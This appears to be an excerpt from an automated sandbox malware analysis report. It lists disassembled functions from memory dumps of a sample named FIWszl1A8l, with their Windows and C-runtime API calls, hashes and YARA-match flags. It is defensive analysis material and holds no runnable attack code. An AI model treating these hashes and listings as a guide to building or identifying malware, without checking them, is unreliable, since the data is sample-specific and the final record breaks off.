Opcode Fuzzy Hash: e53316d21375d094fd0d01ad1aa4a9b8896b5686d1183deebe2b3030ce136b07
Instruction Fuzzy Hash: 0031A4F6A04706ABE710DF6AD8A0B57B7A8BF48314F04853AE909CBA41E7B0E55487D1

Function 02D03CA0 Relevance: 7.6, APIs: 5, Instructions: 98networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000598,00000000), ref: 02D03CBF
SetLastError.KERNEL32(00000000,?,?,02D0399F,?,?,00000000,000000FF,00000000), ref: 02D03CFA
GetLastError.KERNEL32(00000000), ref: 02D03D45
WSAGetLastError.WS2_32(?,?,02D0399F,?,?,00000000,000000FF,00000000), ref: 02D03D7B
WSASetLastError.WS2_32(0000000D,?,?,02D0399F,?,?,00000000,000000FF,00000000), ref: 02D03DA2

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: ErrorLast$recv
String ID:
API String ID: 316788870-0
Opcode ID: dc640e4c8b56dc98347dbb01f8419320be1a2d7fee7586696d5c49832a6c3cf6
Instruction ID: 1b7c2e8e9b56bda2ad74243f022594b3d5632d0ebc5b594b155b328b3fc815cc
Opcode Fuzzy Hash: dc640e4c8b56dc98347dbb01f8419320be1a2d7fee7586696d5c49832a6c3cf6
Instruction Fuzzy Hash: 8031C2726042008FEBA49F68D8C8B6A37A9FB84324F1105AAFD05CB3E5D771DC85CB65

Function 00973CA0 Relevance: 7.6, APIs: 5, Instructions: 98networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000598,00000000), ref: 00973CBF
SetLastError.KERNEL32(00000000,?,?,0097399F,?,?,00000000,000000FF,00000000), ref: 00973CFA
GetLastError.KERNEL32(00000000), ref: 00973D45
WSAGetLastError.WS2_32(?,?,0097399F,?,?,00000000,000000FF,00000000), ref: 00973D7B
WSASetLastError.WS2_32(0000000D,?,?,0097399F,?,?,00000000,000000FF,00000000), ref: 00973DA2

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: ErrorLast$recv
String ID:
API String ID: 316788870-0
Opcode ID: 00e49b9d0b3012186d1f08a0d07bdc8b9080952d1cda3607c96d74b054d99a8d
Instruction ID: cf25cae3dfe54c6be0feeeb05b88b5d23fac20aba12193504c5d1911c4abb5ea
Opcode Fuzzy Hash: 00e49b9d0b3012186d1f08a0d07bdc8b9080952d1cda3607c96d74b054d99a8d
Instruction Fuzzy Hash: BD3102736182008FEB249F68D8C8B6937A9FB84320F14C126ED0DDB396D731DD84AB51

Function 02D10EEB Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 02D10EF9

Part of subcall function 02D0F673: __FF_MSGBANNER.LIBCMT ref: 02D0F68C
Part of subcall function 02D0F673: __NMSG_WRITE.LIBCMT ref: 02D0F693
Part of subcall function 02D0F673: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,02D14500,00000000,00000001,00000000,?,02D18DE6,00000018,02D26448,0000000C,02D18E76), ref: 02D0F6B8

_free.LIBCMT ref: 02D10F0C

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 0e7074bbcd4baa4cf8ab99cb49d133bf4f6c530a499bd0a4a3e42984daab326b
Instruction ID: 6cca715209a6ae5cb870433cfbede76f87d5b0cd3ab310c73cbe5b2bae1b6e2f
Opcode Fuzzy Hash: 0e7074bbcd4baa4cf8ab99cb49d133bf4f6c530a499bd0a4a3e42984daab326b
Instruction Fuzzy Hash: B3116032858615BECB313F74B84575A3756EF843A1F214525EC4997BD0DF31CD80CAA4

Function 0097E5D7 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0097E5E5

Part of subcall function 00976E83: __FF_MSGBANNER.LIBCMT ref: 00976E9C
Part of subcall function 00976E83: __NMSG_WRITE.LIBCMT ref: 00976EA3
Part of subcall function 00976E83: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00979FB0,00000000,00000001,00000000,?,0097C0CF,00000018,00987C70,0000000C,0097C15F), ref: 00976EC8

_free.LIBCMT ref: 0097E5F8

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: e85c70ef0820e106643dcff9bf87db316006175644332e22b174733c297abeea
Instruction ID: cf86cc8f39613abbfc585da7335d3152edea764dbd995b14392e17aacdf03230
Opcode Fuzzy Hash: e85c70ef0820e106643dcff9bf87db316006175644332e22b174733c297abeea
Instruction Fuzzy Hash: CA11EC3350C515ABCB222F74EC09B5E37999F993A0B25C8A5F44C9B251EF34CD509B94

Function 009271F2 Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 00927217
__calloc_crt.LIBCMT ref: 00927223
__getptd.LIBCMT ref: 00927230
_free.LIBCMT ref: 0092727A
__dosmaperr.LIBCMT ref: 00927285

Part of subcall function 009270E4: __getptd_noexit.LIBCMT ref: 009270E4

Memory Dump Source

Source File: 00000006.00000002.3782668054.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Offset: 00920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_920000_FIWszl1A8l.jbxd

Similarity

API ID: ___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
String ID:
API String ID: 955811338-0
Opcode ID: 716a177d22a8d8e036915ba2596b5d7cb69e67a12362207e119646dd6be4c177
Instruction ID: 8b9f0c918680f777bc78dadd3c3a00249f8654976bf4288f455465a75af1f916
Opcode Fuzzy Hash: 716a177d22a8d8e036915ba2596b5d7cb69e67a12362207e119646dd6be4c177
Instruction Fuzzy Hash: 92110832108726EFDB11AFE5FC41E9BB7DCEF89370B100429F915AA19ADB31D81187A0

Function 0282F3E8 Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 0282F40D
__calloc_crt.LIBCMT ref: 0282F419
__getptd.LIBCMT ref: 0282F426
_free.LIBCMT ref: 0282F470
__dosmaperr.LIBCMT ref: 0282F47B

Part of subcall function 0282F2DA: __getptd_noexit.LIBCMT ref: 0282F2DA

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: ___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
String ID:
API String ID: 955811338-0
Opcode ID: 7820054a35e6ddd4bb865db21a2500f6fa213131538873e4e8a0834fb54b6030
Instruction ID: 6b89c18a704b732c9c1bc081113ff2df7cb49d97a28b1395382b2206f9a50e00
Opcode Fuzzy Hash: 7820054a35e6ddd4bb865db21a2500f6fa213131538873e4e8a0834fb54b6030
Instruction Fuzzy Hash: FE11253E10032ABFEB11AFA89C40E9B37E9EF14364B10402AF618C6591DBB1D445CAE2

Function 03FB3CE4 Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 03FB3D09
__calloc_crt.LIBCMT ref: 03FB3D15
__getptd.LIBCMT ref: 03FB3D22
_free.LIBCMT ref: 03FB3D6C
__dosmaperr.LIBCMT ref: 03FB3D77

Part of subcall function 03FB3BD6: __getptd_noexit.LIBCMT ref: 03FB3BD6

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: ___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
String ID:
API String ID: 955811338-0
Opcode ID: 7820054a35e6ddd4bb865db21a2500f6fa213131538873e4e8a0834fb54b6030
Instruction ID: c500bd85289913382c80057bbf898fabb567dfd983e578b6acaf7067c8786f35
Opcode Fuzzy Hash: 7820054a35e6ddd4bb865db21a2500f6fa213131538873e4e8a0834fb54b6030
Instruction Fuzzy Hash: 6611E5BA64474ABFE710FFABDC81EDB77BCDF442A0B14002AF5148A150DB31D41186A1

Function 02D02C10 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 02D02C3F
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 02D02C55
TranslateMessage.USER32(?), ref: 02D02C64
DispatchMessageW.USER32(?), ref: 02D02C6A
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 02D02C78

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchMultipleObjectsTranslateWait
String ID:
API String ID: 2015114452-0
Opcode ID: 1d236ee9cb602da45621b413868c647b8fdd4bb8002bda828c4b4844c254e3bf
Instruction ID: 800b91bd97067164afe2f7caded5f22f0745f569aec83839ad895151953f2c64
Opcode Fuzzy Hash: 1d236ee9cb602da45621b413868c647b8fdd4bb8002bda828c4b4844c254e3bf
Instruction Fuzzy Hash: E201D632A91309B6E720D6949CCDFBA736CAB04B10F504501FF10EA2D0D6A1FC05C7A8

Function 00972BD0 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00972BFF
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00972C15
TranslateMessage.USER32(?), ref: 00972C24
DispatchMessageW.USER32(?), ref: 00972C2A
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00972C38

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsTranslateWait
String ID:
API String ID: 2015114452-0
Opcode ID: f8d0b2944d032116ed88a653e705071ca3f1aba7664d10a9b8219698efbedf67
Instruction ID: d1b7c6c3ed4f4e889bc46a353b85e52e67e172041a213013a63505fd54f5fd94
Opcode Fuzzy Hash: f8d0b2944d032116ed88a653e705071ca3f1aba7664d10a9b8219698efbedf67
Instruction Fuzzy Hash: B001A973B6830976E6109B94DC41FBE776CEB15B10F508511FB08EA1D8DAA4E80597B4

Function 0093367A Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 009336A2

Part of subcall function 00933232: __getptd.LIBCMT ref: 00933240
Part of subcall function 00933232: __getptd.LIBCMT ref: 0093324E

__getptd.LIBCMT ref: 009336AC

Part of subcall function 009298E6: __getptd_noexit.LIBCMT ref: 009298E9
Part of subcall function 009298E6: __amsg_exit.LIBCMT ref: 009298F6

__getptd.LIBCMT ref: 009336BA
__getptd.LIBCMT ref: 009336C8
__getptd.LIBCMT ref: 009336D3

Part of subcall function 009332D7: __CallSettingFrame@12.LIBCMT ref: 00933323

Part of subcall function 009337A0: __getptd.LIBCMT ref: 009337AF
Part of subcall function 009337A0: __getptd.LIBCMT ref: 009337BD

Memory Dump Source

Source File: 00000006.00000002.3782668054.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Offset: 00920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_920000_FIWszl1A8l.jbxd

Similarity

API ID: __getptd$CallCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 3282538202-0
Opcode ID: 2f8cf262afac08e33e01d992e0837c391acebccb040fbf70ddcfda8d5a1f53bb
Instruction ID: cda399f77dd8a6f10c9ab6f4b441b379a19b0279e5fcddf47196d74baa5422fd
Opcode Fuzzy Hash: 2f8cf262afac08e33e01d992e0837c391acebccb040fbf70ddcfda8d5a1f53bb
Instruction Fuzzy Hash: 6611D7B1C00209DFDB00EFA4E545BAE7BB0FF48314F148469F854A7252DB389A559F50

Function 0283FF6D Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 0283FF95

Part of subcall function 0283FA76: __getptd.LIBCMT ref: 0283FA84
Part of subcall function 0283FA76: __getptd.LIBCMT ref: 0283FA92

__getptd.LIBCMT ref: 0283FF9F

Part of subcall function 0283381A: __getptd_noexit.LIBCMT ref: 0283381D
Part of subcall function 0283381A: __amsg_exit.LIBCMT ref: 0283382A

__getptd.LIBCMT ref: 0283FFAD
__getptd.LIBCMT ref: 0283FFBB
__getptd.LIBCMT ref: 0283FFC6

Part of subcall function 0283FB1B: __CallSettingFrame@12.LIBCMT ref: 0283FB67

Part of subcall function 02840093: __getptd.LIBCMT ref: 028400A2
Part of subcall function 02840093: __getptd.LIBCMT ref: 028400B0

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __getptd$CallCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 3282538202-0
Opcode ID: 5f1381efd39d468ef928fc2953ab13acdae555040b7c1ee41bdff31c76f18644
Instruction ID: b0af54e49ca14ae6472ee94732bad585236081eb5a9cbe7fb279b274afddcbdc
Opcode Fuzzy Hash: 5f1381efd39d468ef928fc2953ab13acdae555040b7c1ee41bdff31c76f18644
Instruction Fuzzy Hash: 2711D7B9D10209DFDB01EFA8D844AED7BB2FF08314F1084A9E914E7250DB389A559F91

Function 02D04B70 Relevance: 7.5, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000), ref: 02D04B83
EnterCriticalSection.KERNEL32(?,?,00000000), ref: 02D04B8D
LeaveCriticalSection.KERNEL32(?,?,00000000), ref: 02D04BA0
LeaveCriticalSection.KERNEL32(?,?,00000000), ref: 02D04BA3

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: ab51aa9b26724b72411e6fe724520d25861f94ba03a0501841126b17bd6be58e
Instruction ID: 32b6ffbcbc07bbe45b5721daaf89036ed3a60b90044a4d24edd651b803cec43f
Opcode Fuzzy Hash: ab51aa9b26724b72411e6fe724520d25861f94ba03a0501841126b17bd6be58e
Instruction Fuzzy Hash: 45014F766016149BD720EB29FCC8B9BB7E8EF88354F024969F54683750C775EC49CA60

Function 00974B50 Relevance: 7.5, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000), ref: 00974B63
EnterCriticalSection.KERNEL32(?,?,00000000), ref: 00974B6D
LeaveCriticalSection.KERNEL32(?,?,00000000), ref: 00974B80
LeaveCriticalSection.KERNEL32(?,?,00000000), ref: 00974B83

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: a72636b20c70e0f8eebaed14b4c7b83872e9e9c2e4d9580d86782ccdf2bf7e65
Instruction ID: 84e6433c4cd37dcc4b4d30daee8159823d45480bfac1ffd3ef45f742ca479cc4
Opcode Fuzzy Hash: a72636b20c70e0f8eebaed14b4c7b83872e9e9c2e4d9580d86782ccdf2bf7e65
Instruction Fuzzy Hash: C2018F766046109FD7209B39FCC4BAFB7ECEB88324F014829E10A83200C734EC49DBA1

Function 03FC4869 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 03FC4891

Part of subcall function 03FC4372: __getptd.LIBCMT ref: 03FC4380
Part of subcall function 03FC4372: __getptd.LIBCMT ref: 03FC438E

__getptd.LIBCMT ref: 03FC489B

Part of subcall function 03FB8116: __getptd_noexit.LIBCMT ref: 03FB8119
Part of subcall function 03FB8116: __amsg_exit.LIBCMT ref: 03FB8126

__getptd.LIBCMT ref: 03FC48A9
__getptd.LIBCMT ref: 03FC48B7
__getptd.LIBCMT ref: 03FC48C2

Part of subcall function 03FC4417: __CallSettingFrame@12.LIBCMT ref: 03FC4463

Part of subcall function 03FC498F: __getptd.LIBCMT ref: 03FC499E
Part of subcall function 03FC498F: __getptd.LIBCMT ref: 03FC49AC

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __getptd$CallCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 3282538202-0
Opcode ID: 5f1381efd39d468ef928fc2953ab13acdae555040b7c1ee41bdff31c76f18644
Instruction ID: 008943eacb424024eeb07db11e7d25592b0b9ddc7ff750c19d5873118f02834c
Opcode Fuzzy Hash: 5f1381efd39d468ef928fc2953ab13acdae555040b7c1ee41bdff31c76f18644
Instruction Fuzzy Hash: EF1116B5C01349DFDF00EFA5CA45AEDBBB4FF48310F108069E854AB250EB399A119F50

Function 0092E116 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0092E122

Part of subcall function 009298E6: __getptd_noexit.LIBCMT ref: 009298E9
Part of subcall function 009298E6: __amsg_exit.LIBCMT ref: 009298F6

__getptd.LIBCMT ref: 0092E139
__amsg_exit.LIBCMT ref: 0092E147
__lock.LIBCMT ref: 0092E157
__updatetlocinfoEx_nolock.LIBCMT ref: 0092E16B

Memory Dump Source

Source File: 00000006.00000002.3782668054.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Offset: 00920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_920000_FIWszl1A8l.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: ae27d4fbf31c29595a38e1aa150fd8cf220abffb4ca541ac361fbea8b80d16f3
Instruction ID: a1376dcd518d2270e7cf8e185aae2a61d77674f4c8971fd426e661bd2f549af4
Opcode Fuzzy Hash: ae27d4fbf31c29595a38e1aa150fd8cf220abffb4ca541ac361fbea8b80d16f3
Instruction Fuzzy Hash: 95F0B4329486309BEB21FBB4B84375D32A0AF80720F184119F550672DBCB749851DA96

Function 028349C5 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 028349D1

Part of subcall function 0283381A: __getptd_noexit.LIBCMT ref: 0283381D
Part of subcall function 0283381A: __amsg_exit.LIBCMT ref: 0283382A

__getptd.LIBCMT ref: 028349E8
__amsg_exit.LIBCMT ref: 028349F6
__lock.LIBCMT ref: 02834A06
__updatetlocinfoEx_nolock.LIBCMT ref: 02834A1A

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: b8df328af2ca13b15628588c2ddeec9715aad909c858093188abaa4f1f59b7b1
Instruction ID: 87628369c2ce08f4dd71a081f50df1d18e4c4241a69643bde6eba6d1d95684df
Opcode Fuzzy Hash: b8df328af2ca13b15628588c2ddeec9715aad909c858093188abaa4f1f59b7b1
Instruction Fuzzy Hash: B1F0903E9012109AE623BBAC980178936A1BF00725F258289E808E72E1DB245941DEDB

Function 02D15006 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02D15012

Part of subcall function 02D13E5B: __getptd_noexit.LIBCMT ref: 02D13E5E
Part of subcall function 02D13E5B: __amsg_exit.LIBCMT ref: 02D13E6B

__getptd.LIBCMT ref: 02D15029
__amsg_exit.LIBCMT ref: 02D15037
__lock.LIBCMT ref: 02D15047
__updatetlocinfoEx_nolock.LIBCMT ref: 02D1505B

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: eaa3632ecbea9e7a61c79dcc7ab112c486802fb1a39adde2abbc5c23db95dc7b
Instruction ID: 87691819891328121922738fa0afa11f70ea2875ca6003b73db2f982d6496fae
Opcode Fuzzy Hash: eaa3632ecbea9e7a61c79dcc7ab112c486802fb1a39adde2abbc5c23db95dc7b
Instruction Fuzzy Hash: 15F09032944711FAEAB0BBA8B401B8D73A2EF40B24F610249D559A7FC1CB388C41DEA5

Function 0097E13F Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0097E14B

Part of subcall function 0097990F: __getptd_noexit.LIBCMT ref: 00979912
Part of subcall function 0097990F: __amsg_exit.LIBCMT ref: 0097991F

__getptd.LIBCMT ref: 0097E162
__amsg_exit.LIBCMT ref: 0097E170
__lock.LIBCMT ref: 0097E180
__updatetlocinfoEx_nolock.LIBCMT ref: 0097E194

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: ca48fa60cd8d0aa2b7bd3c538dda4f9da509cb376760db836b0518020fbc311f
Instruction ID: aab4ee1a7ea3d3c9e86cee74c9bb3dbec45af328bca7be14bb3736ddee28702b
Opcode Fuzzy Hash: ca48fa60cd8d0aa2b7bd3c538dda4f9da509cb376760db836b0518020fbc311f
Instruction Fuzzy Hash: D3F0903394C6109BE721BBB8980375932A0AF84B20F54C18DF46DA72D2CF744900DA59

Function 03FB92C1 Relevance: 7.5, APIs: 5, Instructions: 34COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 03FB92CD

Part of subcall function 03FB8116: __getptd_noexit.LIBCMT ref: 03FB8119
Part of subcall function 03FB8116: __amsg_exit.LIBCMT ref: 03FB8126

__getptd.LIBCMT ref: 03FB92E4
__amsg_exit.LIBCMT ref: 03FB92F2
__lock.LIBCMT ref: 03FB9302
__updatetlocinfoEx_nolock.LIBCMT ref: 03FB9316

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: b8df328af2ca13b15628588c2ddeec9715aad909c858093188abaa4f1f59b7b1
Instruction ID: aca22084980d75155507946b36bd5ff7ea9f179ad1d20b6f8e07af068154efae
Opcode Fuzzy Hash: b8df328af2ca13b15628588c2ddeec9715aad909c858093188abaa4f1f59b7b1
Instruction Fuzzy Hash: 22F0B4BAD09710DBEB61FB7A8C027CE77B8AF00760F19011DD6456F2D0CBA44940CA56

Function 02D0C910 Relevance: 7.5, APIs: 5, Instructions: 33processCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,000001FE), ref: 02D0C932
GetCommandLineW.KERNEL32 ref: 02D0C938
GetStartupInfoW.KERNEL32(?), ref: 02D0C947
CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000020,00000000,00000000,?,?), ref: 02D0C96F
ExitProcess.KERNEL32 ref: 02D0C977

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Process$CommandCreateExitFileInfoLineModuleNameStartup
String ID:
API String ID: 3421218197-0
Opcode ID: b29413f53a7b2381ab1757795e4a6a5dcfe81d7365e391f78b016ca51a8838f5
Instruction ID: e833decc44404733ba3c431d22416ab4bfe33d73a35a67c02e087a1d2b64bbc1
